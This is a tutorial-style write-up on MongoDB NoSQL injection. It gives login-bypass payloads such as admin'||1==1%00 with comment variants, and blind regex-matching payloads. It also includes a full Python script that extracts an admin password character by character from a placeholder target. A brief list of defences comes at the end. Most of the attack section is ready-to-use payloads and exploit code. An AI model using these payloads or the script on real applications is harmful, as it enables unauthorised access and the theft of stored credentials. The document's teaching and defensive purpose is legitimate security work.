NoSQL Injection Attacks in MongoDB: Authentication Bypass and Blind Extraction

Taha Zouggari

June 2025

MongoDB is a popular NoSQL database that stores data in flexible JSON-like documents. Unlike traditional SQL databases, MongoDB does not use structured query language, but its query objects can still be manipulated using attacker-controlled input if developers fail to validate and sanitize that input properly.

This document explores two MongoDB-related NoSQL injection attacks:

- Classic authentication bypass using logical conditions.
- Blind injection using regular expressions to extract sensitive data.

Goal: Demonstrate how MongoDB injection allows both login bypass and blind extraction of password values.

1. Authentication Bypass Using Logical Operators

In a common scenario, the backend authentication query in Node.js or similar platforms may look like this:

```
db.users.findOne({
  username: input_username,
  password: input_password
});
```

If input is not validated or escaped, the attacker can inject logic into the username or password fields.

SQL vs MongoDB Translation

The classic SQL injection:

```
' OR 1=1 --
```

is conceptually similar to the following in MongoDB:

```
username=admin'||1==1
```

In JavaScript (MongoDB's query language), logical comparisons use == or ===, not a single =.

Injection Payload Examples

Assume a login request:

```
username=admin&password=admin
```

Can be changed to:

```
username=admin'||1==1%00&password=irrelevant
```

This terminates the username condition early and evaluates the query as:

```
db.users.findOne({ username: "admin" || 1==1 });
```

Since `1==1` is always true, the condition passes and authentication is bypassed.

Optional Comment Variants

If

```
username=admin'||1==1//&password=ignored
username=admin'||1==1<!--&password=ignored
```

These variants can comment out or terminate the rest of the expression depending on how the backend parses input.

2. Blind NoSQL Injection via Regex Matching

In more advanced cases, MongoDB injection may not directly reveal data but can be exploited blindly based on application behavior (like response content). This technique relies on injecting JavaScript '.match()' expressions and inferring results based on success/failure conditions.

Information Retrieval via Regex Testing

The injection point may resemble:

```
search=admin' && this.password.match(/.*/)%00
```

You can test:

- `/.*./` — returns true because of the wildcard.
- `/zzzzz/` — returns false if the regex doesn't match.
- `this.passwordzz.match(...)` — returns an error (non-existent field).

To ensure robust querying, include a field presence check:

```
search=admin' && this.password && this.password.match(/^a.*$/)%00
```

Password Extraction Strategy

Use regex boundaries like `^` and `$` to extract the password one character at a time. For example, if the password is `"abcd"`, the guessing will proceed as follows:

- `^a.*$` → match
- `^ab.*$` → match

- `^abc.*$` → match
- `^abcd$` → full match confirmed

In my case the password format was:

```
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
```

(where x is [0-9a-f]), the script checks each prefix:

Automation with Python

The Python script automates the process of extracting the admin password by sending HTTP GET requests to the target server — one request for each guessed character.

Here's how it works:

- The function `urlchek(word)` constructs a URL containing an injected search parameter. The payload uses a regular expression to test whether the `password` field starts with the string `word`.
- The payload is structured like:

  ```
  ?search=admin' && this.password.match(/^<guess>.*$/)%00
  ```

  If the guess is correct (i.e., the prefix matches the real password), the server includes `>admin<` in the HTML response, which the script checks using:

  ```
  if ">admin<" in response.text
  ```

- The main function `guesspassword()` builds the password incrementally. It loops through all hexadecimal characters (0–9, a–f) and hyphen (-), testing each character as the next candidate.
- When a guess is correct, it is appended to the known portion of the password, and the next character is tested.
- This continues until the entire password is discovered.

Key Insight: The server behaves differently depending on whether the regex matches. This allows the attacker to deduce each character of the password by observing changes in the HTTP response.

The attack is entirely blind — no actual password values are shown, but differences in behavior (response content) allow full reconstruction over time.

Python Script for Blind Extraction

```
import requests
def urlchek(word):
   url = f"https://example/?search=admin'%20%26%26%20this.password.match(/^{word}.*$
       /)%00"

   # Send the GET request to the target server
   response = requests.get(url)

   # Return True if the server response contains ">admin<", indicating a match
   return ">admin<" in response.text

def guesspassword():
   password = ""
   while True:
      for char in '0123456789abcdef-':
         print("Checking:", password + char)
         if urlchek(password + char):
            password += char
            print("Found so far:", password)
            break

if __name__ == "__main__":
   guesspassword()
```

3. Defending Against MongoDB Injection

To prevent both classic and blind NoSQL injection:

- Never directly embed user input in MongoDB queries.
- Avoid use of JavaScript conditions like '.match()' on user-controlled input.
- Use query builders or libraries that sanitize input (e.g., Mongoose).
- Enforce schema validation and data type restrictions.
- Provide consistent, generic error messages to prevent inference.